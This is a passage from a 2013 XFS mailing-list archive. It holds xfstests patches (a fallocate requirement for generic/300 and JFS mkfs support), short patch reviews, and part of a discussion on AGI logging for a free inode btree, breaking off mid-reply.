bits=128/128); Fri, 06 Sep 2013 12:42:46 -0700 (PDT) Date: Fri, 6 Sep 2013 15:42:43 -0400 From: Eric Whitney To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org Subject: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting Message-ID: <20130906194243.GA19286@wallace> X-ASG-Orig-Subj: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f182.google.com[209.85.216.182] X-Barracuda-Start-Time: 1378496568 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Generic/300 fails when run on a test filesystem that does not support fallocate(), as in the case of an ext4 filesystem created without the extent feature. It uses fio's falloc ioengine to generate part of its I/O load. Verify that the test filesystem supports fallocate() before proceeding with the test. Also, delete any pre-existing test output to avoid confusion with old results. Signed-off-by: Eric Whitney --- tests/generic/300 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/generic/300 b/tests/generic/300 index 7c60728..1ac763b 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -43,6 +43,9 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_xfs_io_falloc + +rm -f $seqres.full NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -- 1.7.10.4 From sandeen@redhat.com Fri Sep 6 14:51:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7416729DFB for ; Fri, 6 Sep 2013 14:51:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 567B0304048 for ; Fri, 6 Sep 2013 12:51:55 -0700 (PDT) X-ASG-Debug-ID: 1378497114-04cb6c2e9cdd3620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CvEvDg8MhkBwExZc for ; Fri, 06 Sep 2013 12:51:54 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r86JprAO013052 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Sep 2013 15:51:53 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r86JplRJ003377 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 6 Sep 2013 15:51:52 -0400 Message-ID: <522A3254.3090704@redhat.com> Date: Fri, 06 Sep 2013 14:51:48 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Eric Whitney CC: xfs@oss.sgi.com, linux-ext4@vger.kernel.org Subject: Re: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting References: <20130906194243.GA19286@wallace> X-ASG-Orig-Subj: Re: [PATCH][RESEND] xfstests: only run generic/300 on filesystems supporting In-Reply-To: <20130906194243.GA19286@wallace> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378497114 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/6/13 2:42 PM, Eric Whitney wrote: > Generic/300 fails when run on a test filesystem that does not support > fallocate(), as in the case of an ext4 filesystem created without the > extent feature. It uses fio's falloc ioengine to generate part of its > I/O load. > > Verify that the test filesystem supports fallocate() before proceeding > with the test. Also, delete any pre-existing test output to avoid > confusion with old results. Hey Eric - sorry this got missed for review. Since the test doesn't actually use xfs_io it seems like slightly the wrong check, maybe we need a new _require_fio_falloc()? But xfs_io will almost always be installed for someone running xfstests, and the check as you have it will indeed test that the fs can do fallocate; it's just not the most targeted test. It's probably ok, though - a comment about why you _require_xfs_io when xfs_io isn't used might be good. What do you think? -Eric > Signed-off-by: Eric Whitney > --- > tests/generic/300 | 3 +++ > 1 file changed, 3 insertions(+) > > diff --git a/tests/generic/300 b/tests/generic/300 > index 7c60728..1ac763b 100755 > --- a/tests/generic/300 > +++ b/tests/generic/300 > @@ -43,6 +43,9 @@ _supported_fs generic > _supported_os Linux > _need_to_be_root > _require_scratch > +_require_xfs_io_falloc > + > +rm -f $seqres.full > > NUM_JOBS=$((4*LOAD_FACTOR)) > BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` > From tinguely@sgi.com Fri Sep 6 14:54:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C0EEB29DFB for ; Fri, 6 Sep 2013 14:54:27 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 87050304048; Fri, 6 Sep 2013 12:54:27 -0700 (PDT) Message-ID: <522A32F2.8060406@sgi.com> Date: Fri, 06 Sep 2013 14:54:26 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: don't assert fail on bad inode numbers References: <1378208858-20557-1-git-send-email-david@fromorbit.com> <1378208858-20557-3-git-send-email-david@fromorbit.com> In-Reply-To: <1378208858-20557-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/03/13 06:47, Dave Chinner wrote: > From: Dave Chinner > > Let the inode verifier do it's work by returning an error when we > fail to find correct magic numbers in an inode buffer. > > Signed-off-by: Dave Chinner > --- Looks okay - the xfs_buf_ioerror() sets the error code for the caller to detect. We talked about this in June: http://oss.sgi.com/archives/xfs/2013-06/msg00712.html Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 14:59:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6FFE529DFB for ; Fri, 6 Sep 2013 14:59:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 38AF6304053; Fri, 6 Sep 2013 12:59:38 -0700 (PDT) Message-ID: <522A3429.2030004@sgi.com> Date: Fri, 06 Sep 2013 14:59:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: fix memory allocation failures with ACLs References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <1378119180-31380-2-git-send-email-david@fromorbit.com> In-Reply-To: <1378119180-31380-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/02/13 05:52, Dave Chinner wrote: > From: Dave Chinner > > Ever since increasing the number of supported ACLs from 25 to as > many as can fit in an xattr, there have been reports of order 4 > memory allocations failing in the ACL code. Fix it in the same way > we've fixed all the xattr read/write code that has the same problem. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 15:37:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 216D129DFB for ; Fri, 6 Sep 2013 15:37:47 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id ED4A48F8040; Fri, 6 Sep 2013 13:37:43 -0700 (PDT) Message-ID: <522A3D16.3010709@sgi.com> Date: Fri, 06 Sep 2013 15:37:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: factor all the kmalloc-or-vmalloc fallback allocations References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <1378119180-31380-3-git-send-email-david@fromorbit.com> In-Reply-To: <1378119180-31380-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/02/13 05:53, Dave Chinner wrote: > From: Dave Chinner > > We have quite a few places now where we do: > > x = kmem_zalloc(large size) > if (!x) > x = kmem_zalloc_large(large size) > > and do a similar dance when freeing the memory. kmem_free() already > does the correct freeing dance, and kmem_zalloc_large() is only ever > called in these constructs, so just factor it all into > kmem_zalloc_large() and kmem_free(). > > Signed-off-by: Dave Chinner > --- Good start on the allocation changes. Reviewed-by: Mark Tinguely From mlsemon35@gmail.com Fri Sep 6 15:59:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 98FA87F52 for ; Fri, 6 Sep 2013 15:59:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3190BAC00E for ; Fri, 6 Sep 2013 13:59:30 -0700 (PDT) X-ASG-Debug-ID: 1378501169-04bdf02f23e059a0001-NocioJ Received: from mail-yh0-f50.google.com (mail-yh0-f50.google.com [209.85.213.50]) by cuda.sgi.com with ESMTP id 7tQ008SvpxrlbXAx (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Sep 2013 13:59:30 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.50] Received: by mail-yh0-f50.google.com with SMTP id a41so1418782yho.37 for ; Fri, 06 Sep 2013 13:59:29 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=gHjP6iMQz/rLA52J7x+UooY0/ma0ISHdCpihOchzFpI=; b=bTQBHs1NXT5RQVfWAci63ozy2YX+jBkLgSURCwai9EJ4zLp2LWzbJUwY/gFhaB8B2D wZnCC7yVlJnnje/Pe/3nua/3CrsJLaiVVXIda0DOL8f46FWAcqyUSBjb/1uvXJlMckPj Ktp6h9S3w+rqX27QweKfvuYYgbmw/5gCRDybEGaWIANHEX9IVCU7masGrKz00o7V6Jkj Q1BEzdX0kjtp5Jb9hcC/WkW3uJHsz/D/B7UqMZC+emFWRBua88rJcBwRUJzBoGJI8iJK SC/G9OY1tMwOyky7it9xcRJy6yrjTjT03LLRwy5OGKTepHYxtcssiWu8DbTnL8FBGVIH bKJg== X-Received: by 10.236.121.40 with SMTP id q28mr4160123yhh.40.1378501169380; Fri, 06 Sep 2013 13:59:29 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id e42sm5335612yhe.14.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 06 Sep 2013 13:59:28 -0700 (PDT) Message-ID: <522A422B.2030401@gmail.com> Date: Fri, 06 Sep 2013 16:59:23 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 1/2] xfstests: Add JFS _scratch_mkfs external journal support Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 1/2] xfstests: Add JFS _scratch_mkfs external journal support Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f50.google.com[209.85.213.50] X-Barracuda-Start-Time: 1378501169 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Hi! I'd like to contribute several patches for better JFS support. This is tested against JFS and XFS. It's a bit of copy, paste, and adaptation until it worked well. Sorry to nest the XFS code in a switch case: It was the only attempt at coding it that didn't look silly. Thanks! Michael >From 52ce69861e7a261449589fdb13c8a8f88df476fa Mon Sep 17 00:00:00 2001 From: "Michael L. Semon" Date: Fri, 6 Sep 2013 03:04:25 -0400 Subject: [PATCH 1/2] xfstests: Add JFS _scratch_mkfs external journal support Add _scratch_mkfs external journal support for JFS. Try to respect the USE_EXTERNAL and SCRATCH_LOGDEV variables like the XFS support. --- common/config | 1 + common/rc | 52 ++++++++++++++++++++++++++++++++++++---------------- 2 files changed, 37 insertions(+), 16 deletions(-) diff --git a/common/config b/common/config index db086fb..bdd1add 100644 --- a/common/config +++ b/common/config @@ -204,6 +204,7 @@ case "$HOSTOS" in ;; Linux) export MKFS_XFS_PROG="`set_prog_path mkfs.xfs`" + export MKFS_JFS_PROG="`set_prog_path mkfs.jfs`" export MKFS_UDF_PROG="`set_prog_path mkudffs`" export MKFS_BTRFS_PROG="`set_btrfs_mkfs_prog_path_with_opts`" export BTRFS_UTIL_PROG="`set_prog_path btrfs`" diff --git a/common/rc b/common/rc index 8a239c5..191e9e5 100644 --- a/common/rc +++ b/common/rc @@ -207,25 +207,33 @@ _scratch_options() type=$1 SCRATCH_OPTIONS="" - if [ "$FSTYP" != "xfs" ]; then - return - fi - - case $type in - mkfs) - [ "$HOSTOS" != "IRIX" ] && SCRATCH_OPTIONS="$SCRATCH_OPTIONS -f" - rt_opt="-r" - log_opt="-l" + case $FSTYP in + xfs) + case $type in + mkfs) + [ "$HOSTOS" != "IRIX" ] && SCRATCH_OPTIONS="$SCRATCH_OPTIONS -f" + rt_opt="-r" + log_opt="-l" + ;; + mount) + rt_opt="-o" + log_opt="-o" + ;; + esac + [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_RTDEV" ] && \ + SCRATCH_OPTIONS="$SCRATCH_OPTIONS ${rt_opt}rtdev=$SCRATCH_RTDEV" + [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_LOGDEV" ] && \ + SCRATCH_OPTIONS="$SCRATCH_OPTIONS ${log_opt}logdev=$SCRATCH_LOGDEV" ;; - mount) - rt_opt="-o" - log_opt="-o" + jfs) + if [ "$type" == "mkfs" ]; then + [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_LOGDEV" ] && \ + SCRATCH_OPTIONS="$SCRATCH_OPTIONS -j $SCRATCH_LOGDEV" + fi + ;; + *) ;; esac - [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_RTDEV" ] && \ - SCRATCH_OPTIONS="$SCRATCH_OPTIONS ${rt_opt}rtdev=$SCRATCH_RTDEV" - [ "$USE_EXTERNAL" = yes -a ! -z "$SCRATCH_LOGDEV" ] && \ - SCRATCH_OPTIONS="$SCRATCH_OPTIONS ${log_opt}logdev=$SCRATCH_LOGDEV" } _test_options() @@ -526,6 +534,15 @@ _scratch_mkfs_ext4() return $mkfs_status } +_scratch_mkfs_jfs() +{ + _scratch_options mkfs + + $MKFS_JFS_PROG $SCRATCH_OPTIONS $MKFS_OPTIONS $* $SCRATCH_DEV > /dev/null + + return $? +} + _scratch_mkfs() { case $FSTYP in @@ -544,6 +561,9 @@ _scratch_mkfs() ext4) _scratch_mkfs_ext4 $* ;; + jfs) + _scratch_mkfs_jfs $* + ;; *) yes | $MKFS_PROG -t $FSTYP -- $MKFS_OPTIONS $* $SCRATCH_DEV ;; -- 1.8.3.2 From mlsemon35@gmail.com Fri Sep 6 15:59:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 05D9329E03 for ; Fri, 6 Sep 2013 15:59:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D76888F8035 for ; Fri, 6 Sep 2013 13:59:38 -0700 (PDT) X-ASG-Debug-ID: 1378501177-04cb6c153ddd3540001-NocioJ Received: from mail-vb0-f46.google.com (mail-vb0-f46.google.com [209.85.212.46]) by cuda.sgi.com with ESMTP id 6W5gtqWKZQgnQ3rT (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Sep 2013 13:59:37 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] Received: by mail-vb0-f46.google.com with SMTP id p13so2504647vbe.19 for ; Fri, 06 Sep 2013 13:59:37 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=bJxbJcyRMtDimJ58ktkxFsxgX4vs9aN56OYBA9kguPs=; b=ybA2BE/3MmrVoSiTZtfZVwrQTFAIanGkttsSEBOeakEls4SAlYVePd8NSP9sVK18Zs E9IG19/37J6VBz8cme45TYv8jCwoO0eRKamTnUJZm3sEomQANJyeBTRymyrCcIuFV2S+ iTxzEd/LyGmR3mLJIxmcPrgoy55XdQm3/sNoT2NcYyYx8lhpMNDrKA2itcbAyOgnbV/h P8IVUG6cx+rCi1Cne1sgpX26LGOvcsL9e7/guw+uMTBgIUj5KuwBLgc63BDFOeMnYx2w koU8stH1aFkXnNFxZxOpacmoLeYRqMffDaNy2X47XmfTExtIfEpvGYGlOaiwVl5CwDjm JBFA== X-Received: by 10.52.34.109 with SMTP id y13mr3589190vdi.8.1378501177564; Fri, 06 Sep 2013 13:59:37 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id xx6sm1102531vdb.3.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 06 Sep 2013 13:59:37 -0700 (PDT) Message-ID: <522A4238.8050906@gmail.com> Date: Fri, 06 Sep 2013 16:59:36 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 2/2] xfstests: Add JFS support to _scratch_mkfs_sized Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 2/2] xfstests: Add JFS support to _scratch_mkfs_sized Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-vb0-f46.google.com[209.85.212.46] X-Barracuda-Start-Time: 1378501177 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email This code works, with a little bit of tinkering. I wanted to shovel it off to another function but didn't know what to do with the arguments. In particular, the number_of_blocks value has to come after the dev name. Thanks! Michael >From cb46931b9313d001813be459f829f551d955d781 Mon Sep 17 00:00:00 2001 From: "Michael L. Semon" Date: Fri, 6 Sep 2013 05:50:05 -0400 Subject: [PATCH 2/2] xfstests: Add JFS support to _scratch_mkfs_sized Add _scratch_mkfs_sized support for JFS. Calculations are here due to a jfs_mkfs log calculation issue when the file system size is smaller than the partition size. This issue is avoided by specifying the log size (in megabytes) on the command line. --- common/rc | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/common/rc b/common/rc index 191e9e5..58997d7 100644 --- a/common/rc +++ b/common/rc @@ -612,6 +612,15 @@ _scratch_mkfs_sized() btrfs) $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV ;; + jfs) + _scratch_options mkfs + jfs_log_sized=`expr $fssize / 16777216` + if `expr $jfs_log_sized \> 128`; then + jfs_log_sized=128 + fi + $MKFS_JFS_PROG -s $jfs_log_sized $SCRATCH_OPTIONS $MKFS_OPTIONS \ + $SCRATCH_DEV `expr $fssize / 4096` > /dev/null + ;; *) _notrun "Filesystem $FSTYP not supported in _scratch_mkfs_sized" ;; -- 1.8.3.2 From david@fromorbit.com Fri Sep 6 16:22:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 18AF529DFB for ; Fri, 6 Sep 2013 16:22:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BF29DAC008 for ; Fri, 6 Sep 2013 14:22:25 -0700 (PDT) X-ASG-Debug-ID: 1378502544-04bdf02f22e071d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 7Gg2eI7HUoc14VEL for ; Fri, 06 Sep 2013 14:22:25 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqIGAFVGKlJ5LJ62/2dsb2JhbABbgweDR7lnhTeBJRd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG9YRaPZgeDHYEAA5d0ijCHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 06:52:24 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3Tw-00054X-6t; Sat, 07 Sep 2013 07:22:20 +1000 Date: Sat, 7 Sep 2013 07:22:20 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-ID: <20130906212220.GA12541@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-4-git-send-email-bfoster@redhat.com> <20130905005428.GQ23571@dastard> <5228AE80.5050908@redhat.com> <20130906000754.GO12779@dastard> <5229BBC6.5000808@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5229BBC6.5000808@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378502544 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140397 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Fri, Sep 06, 2013 at 07:25:58AM -0400, Brian Foster wrote: > On 09/05/2013 08:07 PM, Dave Chinner wrote: > > On Thu, Sep 05, 2013 at 12:17:04PM -0400, Brian Foster wrote: > >> On 09/04/2013 08:54 PM, Dave Chinner wrote: > >>> On Tue, Sep 03, 2013 at 02:25:00PM -0400, Brian Foster wrote: > ... > >>> > >>> What we really need here is for xfs_ialloc_log_agi to consider that > >>> there are two distinct regions for range logging - the first spaces > >>> from offset 0 to offset of agi_unlinked, and the second is from the > >>> the offset of agi_free_root to the end of the xfs_agi_t.... > >>> > >>> It's abit messy, I know, but we couldn't easily add new padding to > >>> the AGI in the existing range logging area like was done for the AGF > >>> because of the unlinked list hash table already defining the end of > >>> the range logging region.... > >>> > >> > >> ... but where would that ever happen? The existing invocations of > >> xfs_ialloc_log_agi() seem to log either the agi inode count values or > >> the btree root/level values (i.e., never the range across both). I think > >> I've introduced at least a couple new invocations throughout this set, > >> but I've not changed that model (i.e., an XFS_AGI_FREECOUNT instance in > >> the new lookup code and an XFS_AGI_FREE_ROOT|*_LEVEL instance in the new > >> btree code). > > > > Right, we don't current log across the range because of the way the > > code is currently written, but there's no rule that says that > > logging fields must be done this way. > > > 